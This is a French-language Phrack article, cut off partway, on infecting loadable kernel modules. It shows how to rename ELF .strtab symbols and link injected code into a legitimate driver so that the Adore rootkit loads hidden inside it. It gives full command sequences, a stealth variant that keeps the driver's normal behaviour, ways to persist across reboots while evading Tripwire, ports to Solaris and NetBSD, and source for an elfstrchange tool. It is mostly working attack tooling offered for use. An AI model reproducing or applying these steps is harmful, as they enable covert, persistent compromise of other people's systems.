==Phrack Inc.== Volume 0x0b, Issue 0x3d, Phile #0x0a of 0x0f |=----------------=[ Loadable kernel module infection ]=----------------=| |=----------------------------------------------------------------------=| |=-------------------=[ truff ]=-------------------=| --[ Contents 1 - Introduction 2 - ELF basis 2.1 - La section .symtab 2.2 - La section .strtab 3 - Playing with loadable kernel modules 3.1 - Chargement de module 3.2 - La modification .strtab 3.3 - Code injection 3.4 - Reste' furtif 4 - Exemple concret 4.1 - Infection lkm mini-howto 4.2 - I will survive (un reboot) 5 - En ce qui concerne les autres systemes ? 5.1 - Solaris 5.2 - *BSD 5.2.1 - FreeBSD 5.2.2 - NetBSD 5.2.3 - OpenBSD 6 - Greetings 7 - References 8 - Code 8.1 - ElfStrChange --[ 1 - Introduction Depuis quelques années, de nombreux rootkit utilisant les LKM sont utilisés. Est ce une mode ? Pas vraiment, les lkm sont très utilisés parce qu'ils sont tres puissants : vous pouvez cacher des fichiers, des processus et faire d'autres choses vraiment cool. Les premiers rootkits utilisant les lkm pouvaient être facilement détécté via un simple lsmod. Nous avons vu de nombreuses techniques permettant de cacher les modules, comme la premiere utilisée dans l'article de Plaguez's [1], ou la plus rusée utilisée par le rootkit Adore [2]. Quelques années plus tard, nous avons vu apparaitre d'autres techniques basées sur la modification de l'image mémoire du kernel utilisant /dev/kmem [3]. Finallement, une technique de patch du kernel statique nous a été présenté dans le [4]. Celle ci résoud un important probleme: le rootkit sera rechargé apres un reboot. Le but de cet article est de décrire une nouvelle technique utilisée pour cacher les lkm et qui nous assure que les lkms seront rechargés apres un reboot. Nous allons voir comment faire cela, en affectant(infectant ??) un module kernel utilisé par le système. Nous allons plus précisement nous focaliser sur les kernels Linux x86 2.4.x, mais cette technique peut être appliquée aux autre systemes d'exploitation qui utilise le format ELF(on parle de kernel ou d'OS la ?). Quelques connaissances sont nécéssaires pour comprendre cette technique. Les modules kernel sont des fichiers objets ELF, nous allons ainsi étudier le format ELF, et en particulier le nommage des symboles dans un objet ELF. Apres cela, nous allons étudier les mécanismes qui sont utilisés pour charger un module , dont on en deduira un moyen d'injecter du code dans un module kernel. Finallement, nous verrons comment injecter un module dans un autre, dans une situation réelle. --[ 2 - ELF Basis L'ELF (Executable and Linking Format) décrit, comme son nom l'indique, un format de fichiers binaires exécutables ou *linkables*. Nous allons uniquement décrirela partie de ce format qui nous intéresse et qui nous servira pour la suite. (Ce format est décrit dans son intégralité dans [1]. ) Lorsque nous lions deux objets ELF, l'éditeur de lien a besoin de connaitre certaines données indiquant l'ensemble des symboles pour chaque objet. Chaque objet ELF (les lkm par exemple) contient deux sections dont le role est de stocker certains types d'informations descrivant chaque symbole. Nous allons les étudier et voir quelques idées utiles pour l'infection de module kernel. ----[ 2.1 - La section .symtab Cette section est une table de structures contenant des données nécessaires à l'éditeur de lien pour utiliser les symboles contenus dans un objet ELF. Cette structure est définie dans le fichier /usr/include/elf.h: /* Symbol table entry. */ typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ }Elf32_Sym; Le seul champ qui nous interessera plus tard est le champ st_name. Ce champ ne contient pas directement la chaine repeésentant le nom du symbole. Il contient un index de la section .strtab ou sera stoqué le nom du symbole. ----[ 2.2 - La section .strtab La section .strtab est une suite de chaines de caractères terminées par le caractère null. Comme nous l'avons vu ci-dessus, le champ st_name de la structure Elf32_Sym est un index dans la section .strtab, on peut donc obtenir facilement l'offset de la chaine qui contient le nom du symbole par la formule suivante: offset_sym_name = offset_strtab + st_name offset_strtab est l'offset de la section .strtab depuis le début du fichier. Il est obtenu simplement par un mécanisme de résolution des noms de sections que je ne décrirai pas ici car ceci n'a aucun intérêt pour le sujet traité. Ce mécanisme est décrit completement dans le [5] et implémenté dans le code (paragraphe 9.1) On peut déduire de ce qui précède que, le nom d'un symbole dans un objet ELF est facilement accessible et donc facilement modifiable. Cependant une règle doit être respectée pour effectuer une telle modification. En effet, nous avons vu que la section .strtab est une succession de chaines de caratères terminées par le caractère null, ceci implique une restriction sur le nouveau nom d'un symbole après une modification: la longueur du nouveau nom du symbole devra être inférieure ou égale à celle du nom original de manière à ne pas déborder sur le nom du symbole suivant dans la section .strtab. Nous allons voir par la suite que la simple modification d'un nom de symbole va nous permettre, dans un premier temps, de modifier le fonctionnement normal d'un module noyau, puis d'infecter un module par un autre module. ----[ 3 - Playing with loadable kernel modules Le but de cette section est de présenter le mécanisme de chargement dynamique d'un module. De cela, on pourra déduire une technique nous permettant d'injecter du code dans ce module. ----[ 3.1 - Chargement de Module Les modules noyau sont chargés via l'utilitaire userland insmod qui figure dans le package modutils [6]. Dans le fichier insmod.c la fonction init_module permet de charger le module dans le noyeau. static int init_module(const char *m_name, struct obj_file *f, unsignedlong m_size, const char *blob_name, unsigned int noload, unsigned int flag_load_map) { (1) struct module *module; struct obj_section *sec; void *image; int ret = 0; tgt_long m_addr; .... (2) module->init = obj_symbol_final_value(f, obj_find_symbol(f, "init_module")); (3) module->cleanup = obj_symbol_final_value(f, obj_find_symbol(f, "cleanup_module")); .... if (ret == 0 && !noload) { fflush(stdout); /* Flush any debugging output */ (4) ret = sys_init_module(m_name, (struct module *) image); if (ret) { error("init_module: %m"); lprintf( "Hint: insmod errors can be caused by incorrect module parameters, " "including invalid IO or IRQ parameters.\n" "You may find more information in syslog or the output from dmesg"); } } Dans la fonction (1), on va charger une structure module qui va contenir les informations necessaires au chargement du module. Les champs intéréssants sont init_module et cleanup_module qui sont des pointeurs de fonction pointant respectivement sur init_module() et cleanup_module() du module devant être chargé. La fonction obj_find_module (2) va parcourir la table des symboles a la recherche de celui dont le nom est init_module. La même opération va ensuite être réaalisée (3) pour la fonction cleanup_module(). Il faut bien garder à l'esprit que les fonctions qui seront appellées a` l'initialision et la terminaison du module sont celles dont l'entrée dans la section .strtab correspond respectivement à init_module et cleanup_module. Lorsque la structure module est complétées (4), le syscall sys_init_module() est appellé pour laisser le kernel charger le module. Ci-dessous se trouve une partie intérréssante de l'appel systeme sys_init_module() qui est appellé durant le chargement du module. Le code de cette fonction se trouve dans /usr/src/linux/kernel/module.c asmlinkage long sys_init_module(const char *name_user, struct module *mod_user) { struct module mod_tmp, *mod; char *name, *n_name, *name_tmp = NULL; long namelen, n_namelen, i, error; unsigned long mod_user_size; struct module_ref *dep; /* Lots of sanity checks */ ..... /* Ok, that's about all the sanity we can stomach; copy the rest.*/ (1) if (copy_from_user((char *)mod+mod_user_size, (char*)mod_user+mod_user_size, mod->size-mod_user_size)) { error = -EFAULT; goto err3; } /* Other sanity checks */ .... /* Initialize the module. */ atomic_set(&mod->uc.usecount,1); mod->flags |= MOD_INITIALIZING; (2) if (mod->init && (error = mod->init()) != 0) { atomic_set(&mod->uc.usecount,0); mod->flags &= ~MOD_INITIALIZING; if (error > 0) /* Buggy module */ error = -EBUSY; goto err0; } atomic_dec(&mod->uc.usecount); Apres quelques tests visant à vérifier l'intégrité des données, on copie la structure module de l'userland vers le kernelland a` l'aide de la fonction copy_from_user() (1). Puis (2) la fonction init_module() de notre module va être apellée via le pointeur de fonction mod->init(), initialisé par l'utilitaire insmod. ----[ 3.2 - La modification .strtab Nous avons vu dans la partie précédente que l'adresse de la fonction d'initialisation du module est repérée a` l'aide d'une chaine dans la section .strtab. La modification de cette chaine va nous permettre d'executer une autre fonction que init_module() lorsque le module est chargé. Il y a différentes manières de modifier une entrée de la section .strtab. L'option -wrap de ld peut être utilisée, mais cette option n'est pas compatible avec l'option -r dont nous auront besoin plus tard (dans le paragraphe 3.3). On peut aussi utiliser xxd, comme montré dans la partie 5.1. J'ai codé un outil (paragraphe 9.1) pour automatiser cette tache. Ici se trouve un court exemple: $ cat test.c #define MODULE #define __KERNEL__ #include #include int init_module(void) { printk ("<1> Into init_module()\n"); return 0; } int evil_module(void) { printk ("<1> Into evil_module()\n"); return 0; } int cleanup_module(void) { printk ("<1> Into cleanup_module()\n"); return 0; } $ cc -O2 -c test.c Let's have a look at the .symtab and .strtab sections: $ objdump -t test.o test.o: file format elf32-i386 SYMBOL TABLE: 0000000000000000 l df *ABS* 0000000000000000 test.c 0000000000000000 l d .text 0000000000000000 0000000000000000 l d .data 0000000000000000 0000000000000000 l d .bss 0000000000000000 0000000000000000 l d .modinfo 0000000000000000 0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version 0000000000000000 l d .rodata 0000000000000000 0000000000000000 l d .comment 0000000000000000 0000000000000000 g F .text 0000000000000014 init_module 0000000000000000 *UND* 0000000000000000 printk 0000000000000014 g F .text 0000000000000014 evil_module 0000000000000028 g F .text 0000000000000014 cleanup_module Nous allons maintenant modifier deux entrées de la section .strtab de manière à ce que la fonction evil_module prenne le nom init_module. Pour réaliser cette modification, on doit tout d'abord renommer le symbole init_module car deux symboles de meme nature ne peuvent pas avoir le même nom dans un meme objet ELF. On réalise donc dans l'ordre les deux modifications suivantes: 1) init_module ----> dumm_module 2) evil_module ----> init_module $ ./elfstrchange test.o init_module dumm_module [+] Symbol init_module located at 0x3dc [+] .strtab entry overwriten with dumm_module $ ./elfstrchange test.o evil_module init_module [+] Symbol evil_module located at 0x3ef [+] .strtab entry overwriten with init_module $ objdump -t test.o test.o: file format elf32-i386 SYMBOL TABLE: 0000000000000000 l df *ABS* 0000000000000000 test.c 0000000000000000 l d .text 0000000000000000 0000000000000000 l d .data 0000000000000000 0000000000000000 l d .bss 0000000000000000 0000000000000000 l d .modinfo 0000000000000000 0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version 0000000000000000 l d .rodata 0000000000000000 0000000000000000 l d .comment 0000000000000000 0000000000000000 g F .text 0000000000000014 dumm_module 0000000000000000 *UND* 0000000000000000 printk 0000000000000014 g F .text 0000000000000014 init_module 0000000000000028 g F .text 0000000000000014 cleanup_module # insmod test.o tail -n 1 /var/log/kernel May 4 22:46:55 accelerator kernel: Into evil_module() Comme nous pouvons le voir, la fonction evil_module a été appelée à la place de la fonction init_module. ----[ 3.3 - Code injection La technique précédente permet donc de faire s'exécuter une fonction à la place d'une autre, cependant cela présente assez peu d'intéret en soi. Il serait préférable d'injecter du code externe dans le module. Ceci est assez *simple* à mettre en place, en utilisant le formidable éditeur de liens ld. $ cat original.c #define MODULE #define __KERNEL__ #include #include int init_module(void) { printk ("<1> Into init_module()\n"); return 0; } int cleanup_module(void) { printk ("<1> Into cleanup_module()\n"); return 0; } $ cat inject.c #define MODULE #define __KERNEL__ #include #include int inje_module (void) { printk ("<1> Injected\n"); return 0; } $ cc -O2 -c original.c $ cc -O2 -c inject.c Et c'est ici que commencent les choses sérieuses. L'injection du code ne va pas poser de problème puisque les modules noyau sont des objets Elf relocatables. Ce type d'objet peuvent être liés entre eux pour partager leurs symboles et se completer les uns les autres. Une règle doit cependant être respectée : un même symbole ne peut pas exister dans plusieurs modules qui vont être liés entre eux. Nous allons utiliser l'option -r de l'éditeur de liens ld, de manière à réaliser un édition de lien partielle. Ceci permet de recréer un objet Elf de la même nature que ceux qui ont servi à sa construction. Cela va créer un module qui peut être chargé par le kernel. $ ld -r original.o inject.o -o evil.o $ mv evil.o original.o $ objdump -t original.o original.o: file format elf32-i386 SYMBOL TABLE: 0000000000000000 l d .text 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d .rodata 0000000000000000 0000000000000000 l d .modinfo 0000000000000000 0000000000000000 l d .data 0000000000000000 0000000000000000 l d .bss 0000000000000000 0000000000000000 l d .comment 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l df *ABS* 0000000000000000 original.c 0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version 0000000000000000 l df *ABS* 0000000000000000 inject.c 0000000000000016 l O .modinfo 0000000000000016 __module_kernel_version 0000000000000014 g F .text 0000000000000014 cleanup_module 0000000000000000 g F .text 0000000000000014 init_module 0000000000000000 *UND* 0000000000000000 printk 0000000000000028 g F .text 0000000000000014 inje_module La fonction inje_module() a été liée dans le module. Il suffit maintenant de modifier la section .strtab de manière à faire s'exécuter inje_module() à la place de init_module(). $ ./elfstrchange original.o init_module dumm_module [+] Symbol init_module located at 0x4a8 [+] .strtab entry overwriten with dumm_module $ ./elfstrchange original.o inje_module init_module [+] Symbol inje_module located at 0x4bb [+] .strtab entry overwriten with init_module Vérifions maintenant que tout a bien fonctionné. # insmod original.o tail -n 1 /var/log/kernel May 14 20:37:02 accelerator kernel: Injected And the magic occurs. ----[ 3.4 - Restons furtif La plupart du temps, nous allons infecté un module qui sera en utilisation. Si l'on remplace la fonction init_module() originale par une autre fonction, le module perd donc sa fonctionnalité originale, à notre profit. Cependant, si le module infecté ne fonctionne pas proprement, il sera facilement détecté. Mais il y a une solution qui permet d'injecter du code dans un module sans modifier son comportement normal. Une fois la section .strtab modifiée, la fonction init_module() originale aura pour nom dumm_module. Si nous insérons un appel a dumm_module() dans notre fonction evil_module(), la vrai fonction init_module() va être appellée à l'initialisation et le module va garder son comportement normal. remplacez init_module --------> dumm_module inje_module -------> init_module (contient un appel a dumm_module) $ cat stealth.c #define MODULE #define __KERNEL__ #include #include int inje_module (void) { dumm_module (); printk ("<1> Injected\n"); return 0; } $ cc -O2 -c stealth.c $ ld -r original.o stealth.o -o evil.o $ mv evil.o original.o $ ./elfstrchange original.o init_module dumm_module [+] Symbol init_module located at 0x4c9 [+] .strtab entry overwriten with dumm_module $ ./elfstrchange original.o inje_module init_module [+] Symbol inje_module located at 0x4e8 [+] .strtab entry overwriten with init_module # insmod original.o tail -n 2 /var/log/kernel May 17 14:57:31 accelerator kernel: Into init_module() May 17 14:57:31 accelerator kernel: Injected Parfait, le code injecté est exécuté à la suite du code réel; ainsi la modification est cachée. --[ 4 - Exemple concret La méthode utilisée pour modifier init_module dans les parties précédentes, peut s'appliquer sans probleème à la fonction cleanup_module. On peut donc envisager d'injecter un module complet dans un autre module. J'ai injecter le célèbre rootkit adore dans mon driver son (i810_audio.o) avec une manipulation assez simple. ----[ 4.1 - infection lkm mini-howto. 1) Il faut tout d'abord,apporter quelques légères modifications dans le code de adore.c * insérer dans le code de init_module(), un appel a dumm_module() insérer * dans le code de cleanup_module(), un appel a dummcle_module() remplacer * le nom de la fonction init_module par evil_module remplacer le nom de la * fonction cleanup_module par evclean_module 2) Compiler adore avec la commande make 3) lier adore avec i810_audio.o ld -r i810_audio.o adore.o -o evil.o Si le module est déja chargé, vous devez le decharger: rmmod i810_audio mv evil.o i810_audio.o 4) Apporter les modification a la section .strtab: remplacez init_module -------> dumm_module evil_module -------> init_module (contient un appel à dumm_module) cleanup_module ---> evclean_module evclean_module ---> cleanup_module (contient un appel a` evclean_module) $ ./elfstrchange i810_audio.o init_module dumm_module [+] Symbol init_module located at 0xd012 [+] .strtab entry overwriten with dumm_module $ ./elfstrchange i810_audio.o evil_module init_module [+] Symbol evil_module located at 0xd245 [+] .strtab entry overwriten with init_module $ ./elfstrchange i810_audio.o cleanup_module dummcle_module [+] Symbol cleanup_module located at 0xcec4 [+] .strtab entry overwriten with dummcle_module $ ./elfstrchange i810_audio.o evclean_module cleanup_module [+] Symbol evclean_module located at 0xd15e [+] .strtab entry overwriten with cleanup_module 5) Charger le module et le tester: # insmod i810_audio ./ava Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)] h hide file u unhide file r execute as root R remove PID forever U uninstall adore i make PID invisible v make PID visible # ps PID TTY TIME CMD 2004 pts/3 00:00:00 bash 2083 pts/3 00:00:00 ps # ./ava i 2004 Checking for adore 0.12 or higher ... Adore 0.42 installed. Good luck. Made PID 2004 invisible. root@accelerator:/home/truff/adore# ps PID TTY TIME CMD # Super!! J'ai codé un petit shell script pour les paresseux (paragraphe 9.2) qui fait ce travail en grande partie. ----[ 4.2 - I will survive (un reboot) Lorsque le module est chargé, nous avons deux options, qui ont chacune leur pours et leur contres: * Remplacer le vrai module se trouvant dans /lib/modules/ par le notre qui est infecté. Cela nous assura que le code de notre backdoor sera rechargé apres un reboot. Toutefois, si nous faisons cela, nous pouvons être detecté par un HIDS (Host Intrusion Detection System) comme Tripwire [7]. Cependant, comme un module kernel n'est ni un executable, ni un fichier suid,il ne sera pas détecté que si l'HIDS est configuré sur paranoid. * Laissons le vrai module kernel inchangé dans /lib/modules et supprimons notre module infecté. Notre module sera enlevé lors du reboot, mais il ne sera pas détecté par un HIDS qui vérifie les fichiers modifiés. --[ 5 - En ce qui concerne les autres systemes ? ----[ 5.1 - Solaris J'ai utilisé un module kernel basic provenant du [8] pour illustrer cet exemple. Les modules kernel Solaris utilisent 3 fonctions principals: - _init sera appellé a l'initialisation du module - _fini sera appellé au module cleanup - _info imprime des infos concernant le module $ uname -srp SunOS 5.7 sparc $ cat mod.c #include #include #include extern struct mod_ops mod_miscops; static struct modlmisc modlmisc = { &mod_miscops, "Real Loadable Kernel Module", }; static struct modlinkage modlinkage = { MODREV_1, (void *)&modlmisc, NULL }; int _init(void) { int i; if ((i = mod_install(&modlinkage)) != 0) cmn_err(CE_NOTE,"Could not install module\n"); else cmn_err(CE_NOTE,"mod: successfully installed"); return i; } int _info(struct modinfo *modinfop) { return (mod_info(&modlinkage, modinfop)); } int _fini(void) { int i; if ((i = mod_remove(&modlinkage)) != 0) cmn_err(CE_NOTE,"Could not remove module\n"); else cmn_err(CE_NOTE,"mod: successfully removed"); return i; } $ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c mod.c $ ld -r -o mod mod.o $ file mod mod: ELF 64-bit MSB relocatable SPARCV9 Version 1 Comme nous l'avons vu dans le cas de linux, le code que nous injectons doit contenir un appel a la fonction init réelle, pour que le module garde son comportement régulier. Cependant, nous devons faire face a un probleme: Si nous modifions la section .strtab après l'operation de lien, le chargeur dynamique ne trouvera pas la fonction _dumm() et le module ne pourra pas être chargé. Je n'ai pas appronfi la question, mais je pense que le chargeur dynamique sur solaris ne cherchent pas les références aux undefined symbols dans le module lui-même . Cependant, ce probleme peut facilement être résolu. Si nous changeons la vrai entrée _init .strab pour _dumm avant l'operation de lien, tout fonctionnera proprement. $ readelf -S mod There are 10 section headers, starting at offset 0x940: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .text PROGBITS 0000000000000000 00000040 0000000000000188 0000000000000000 AX 0 0 4 [ 2] .rodata PROGBITS 0000000000000000 000001c8 000000000000009b 0000000000000000 A 0 0 8 [ 3] .data PROGBITS 0000000000000000 00000268 0000000000000050 0000000000000000 WA 0 0 8 [ 4] .symtab SYMTAB 0000000000000000 000002b8 0000000000000210 0000000000000018 5 e 8 [ 5] .strtab STRTAB 0000000000000000 000004c8 0000000000000065 0000000000000000 0 0 1 [ 6] .comment PROGBITS 0000000000000000 0000052d 0000000000000035 0000000000000000 0 0 1 [ 7] .shstrtab STRTAB 0000000000000000 00000562 000000000000004e 0000000000000000 0 0 1 [ 8] .rela.text RELA 0000000000000000 000005b0 0000000000000348 0000000000000018 4 1 8 [ 9] .rela.data RELA 0000000000000000 000008f8 0000000000000048 0000000000000018 4 3 8 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) La section .strtab débute a l'offset 0x4c8 et a une taille de 64 octets. Nous allons utiliser vi et xxd comme éditeur hexa. Chargez le module dans vi avec: vi mod. Apres cela, utilisez :%!xxd pour convertir le module en une valeur hexa. Vous devriez voir quelques chose comme sa: 00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .........mod.mod 00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo 00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco 00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins 0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69 tall._init.mod_i ^^^^^^^^^ Nous modifions 4 octets pour remplacer _init par _dumm 00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .........mod.mod 00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo 00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco 00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins 0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69 tall._init.mod_i ^^^^^^^^^ On utilsie :%!xxd -r pour retrouver le module de la valeur hexa, ensuite on sauvegarde et on quittte :wq . Apres cela, nous pouvons vérifier que le remplacement s'est bien déroulé. $ objdump -t mod mod: file format elf64-sparc SYMBOL TABLE: 0000000000000000 l df *ABS* 0000000000000000 mod 0000000000000000 l d .text 0000000000000000 0000000000000000 l d .rodata 0000000000000000 0000000000000000 l d .data 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d .comment 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l d *ABS* 0000000000000000 0000000000000000 l df *ABS* 0000000000000000 mod.c 0000000000000010 l O .data 0000000000000040 modlinkage 0000000000000000 l O .data 0000000000000010 modlmisc 0000000000000000 *UND* 0000000000000000 mod_miscops 00000000000000a4 g F .text 0000000000000040 _info 0000000000000000 *UND* 0000000000000000 mod_install 0000000000000000 g F .text 0000000000000188 _dumm 0000000000000000 *UND* 0000000000000000 mod_info 0000000000000000 *UND* 0000000000000000 mod_remove 00000000000000e4 g F .text 0000000000000188 _fini 0000000000000000 *UND* 0000000000000000 cmn_err Le symbole _init a été remplacé par _dumm. Maintenant nous pouvons directement injecter une fonction dont le nom est _init sans aucun probleme. $ cat evil.c int _init(void) { _dumm (); cmn_err(1,"evil: successfully installed"); return 0; } $ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c inject.c $ ld -r -o inject inject.o The injecting part using ld: $ ld -r -o evil mod inject Load the module: # modload evil tail -f /var/adm/messages Jul 15 10:58:33 luna unix: NOTICE: mod: successfully installed Jul 15 10:58:33 luna unix: NOTICE: evil: successfully installed La meme opération peut être effectuée pour la fonction _fini pour injecter un module complet dans un autre. ----[ 5.2 - *BSD ------[ 5.2.1 - FreeBSD % uname -srm FreeBSD 4.8-STABLE i386 % file /modules/daemon_saver.ko daemon_saver.ko: ELF 32-bit LSB shared object, Intel 80386, version 1 (FreeBSD), not stripped Comme nous pouvons le voir, les modules kernel de FreeBSD sont des objets partagés. De ce fait, nous ne pouvons utiliser ld pour linker du code dans le module. En outre, le mecanisme qui est utilisé pour charger un module est completement différent de celui utilisés par les systemes Linux et Solaris.Vous pouvez en avoir un apercu dans: /usr/src/sys/kern/kern_linker.c . N'importe quel nom peut etre utilisé pour la fonction init/cleanup. A l'initialisation, le loader trouve l'adresse de la fonction init dans une structure stockée dans la section .data. Ensuite, la modification de .strtab peut également être utilisée. ------[ 5.2.2 - NetBSD $ file nvidia.o nvidia.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped Nous pouvons injecter le code dans un module kernel NetBSD parce que c'est un object ELF relocatable. Lorsque modload charge un module kernel, il le lie avec le kernel et execute le code placé au point d'entrée du module (logé dans l'header ELF). Apres l'operation de liage, nous pouvons changé le point d'entrée, mais ce n'est pas nécéssaire parce que modload a une option spécial (-e) qui permet de lui indiquer quel symbole utiliser comme point d'entrée. Ici se trouve le module d'exemple que nous allons infecter: $ cat gentil_lkm.c #include #include #include #include #include #include MOD_MISC("gentil"); int gentil_lkmentry(struct lkm_table *, int, int); int gentil_lkmload(struct lkm_table *, int); int gentil_lkmunload(struct lkm_table *, int); int gentil_lkmstat(struct lkm_table *, int); int gentil_lkmentry(struct lkm_table *lkmt, int cmd, int ver) { DISPATCH(lkmt, cmd, ver, gentil_lkmload, gentil_lkmunload, gentil_lkmstat); } int gentil_lkmload(struct lkm_table *lkmt, int cmd) { printf("gentil: Hello, world!\n"); return (0); } int gentil_lkmunload(struct lkm_table *lkmt, int cmd) { printf("gentil: Goodbye, world!\n"); return (0); } int gentil_lkmstat(struct lkm_table *lkmt, int cmd) { printf("gentil: How you doin', world?\n"); return (0); } Ici se trouve le code qui sera injecté: $ cat evil_lkm.c #include #include #include #include #include #include int gentil_lkmentry(struct lkm_table *, int, int); int inject_entry(struct lkm_table *lkmt, int cmd, int ver) { switch(cmd) { case LKM_E_LOAD: printf("evil: in place\n"); break; case LKM_E_UNLOAD: printf("evil: i'll be back!\n"); break; case LKM_E_STAT: printf("evil: report in progress\n"); break; default: printf("edit: unknown command\n"); break; } return gentil_lkmentry(lkmt, cmd, ver); } After compiling gentil and evil we link them together: $ ld -r -o evil.o gentil.o inject.o $ mv evil.o gentil.o # modload -e evil_entry gentil.o Module loaded as ID 2 # modstat Type Id Offset Loadaddr Size Info Rev Module Name DEV 0 -1/108 d3ed3000 0004 d3ed3440 1 mmr DEV 1 -1/180 d3fa6000 03e0 d4090100 1 nvidia MISC 2 0 e45b9000 0004 e45b9254 1 gentil # modunload -n gentil # dmesg | tail evil: in place gentil: Hello, world! evil: report in progress gentil: How you doin', world? evil: i'll be back! gentil: Goodbye, world! Ok, tout marche comme un charme. ------[ 5.2.3 - OpenBSD OpenBSD n'utilise pas le format ELF sur les architecture x86, ainsi la technique précédente ne peut être utilisée. Je n'ai pas testé sur des plateformes utilisant ELF mais je pense que cela s'apparenterait à NetBSD, ainsi la technique peut certainement être appliquée. Merci de m'indiquer si vous reussissez à éxécuter la technique présentée sur "OpenBSD ELF". --[ 6 - Conclusion Cet article a augmenté le nombre de techniques qui permettent de dissimuler du code dans le kernel. J'ai présenté cette technique parce qu'il me semble intéressant de pouvoir dissimuler du code avec tres peu de manipulations. Amusez vous bien lorsque vous l'utiliserez. --[ 7 - Greetings Je voulais remercier mycroft, OUAH, aki et afrique pour leur commentaires et leurs idées. Un gros merci a klem pour m'avoir apprit le reverse engineering. Merci a FXKennedy pour m'avoir aidé avec NetBSD. Un gros bisous a Carla car elle est merveilleuse. Merci aux gens de #root, spud hotfyre, funka, jaia, climax, redoktober ... --[ 8 - References [1] Weakening the Linux Kernel by Plaguez http://www.phrack.org/show.php?p=52&a=18 [2] The Adore rootkit by stealth http://stealth.7350.org/rootkits/ [3] Runtime kernel kmem patching by Silvio Cesare http://vx.netlux.org/lib/vsc07.html [4] Static Kernel Patching by jbtzhm http://www.phrack.org/show.php?p=60&a=8 [5] Tool interface specification on ELF http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf [6] Modutils for 2.4.x kernels ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4 [7] Tripwire http://www.tripwire.org [8] Solaris Loadable Kernel Modules by Plasmoid http://www.thc.org/papers/slkm-1.0.html --[ 9 - Codes ----[ 9.1 - ElfStrChange /* * elfstrchange.c by truff * Change the value of a symbol name in the .strtab section * * Usage: elfstrchange elf_object sym_name sym_name_replaced * */ #include #include #include #define FATAL(X) { perror (X);exit (EXIT_FAILURE); } int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len); Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym); Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len); int main (int argc, char **argv) { int i; int len = 0; char *string; FILE *fd; Elf32_Ehdr hdr; Elf32_Shdr symtab, strtab; Elf32_Sym sym; Elf32_Off symoffset; fd = fopen (argv[1], "r+"); if (fd == NULL) FATAL ("fopen"); if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1) FATAL ("Elf header corrupted"); if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1) { fprintf (stderr, "Can't get .symtab section\n"); exit (EXIT_FAILURE); } if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1) { fprintf (stderr, "Can't get .strtab section\n"); exit (EXIT_FAILURE); } symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym); if (symoffset == -1) { fprintf (stderr, "Symbol %s not found\n", argv[2]); exit (EXIT_FAILURE); } printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset); if (fseek (fd, symoffset, SEEK_SET) == -1) FATAL ("fseek"); if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3])) FATAL ("fwrite"); printf ("[+] .strtab entry overwriten with %s\n", argv[3]); fclose (fd); return EXIT_SUCCESS; } Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym) { int i; char symname[255]; Elf32_Off offset; for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++) { if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize), SEEK_SET) == -1) FATAL ("fseek"); if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1) FATAL ("Symtab corrupted"); memset (symname, 0, sizeof (symname)); offset = ElfGetSymbolName (fd, sym->st_name, strtab, symname, sizeof (symname)); if (!strcmp (symname, name)) return offset; } return -1; } int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, Elf32_Shdr *shdr) { if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize), SEEK_SET) == -1) FATAL ("fseek"); if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) FATAL ("Sections header corrupted"); return 0; } int 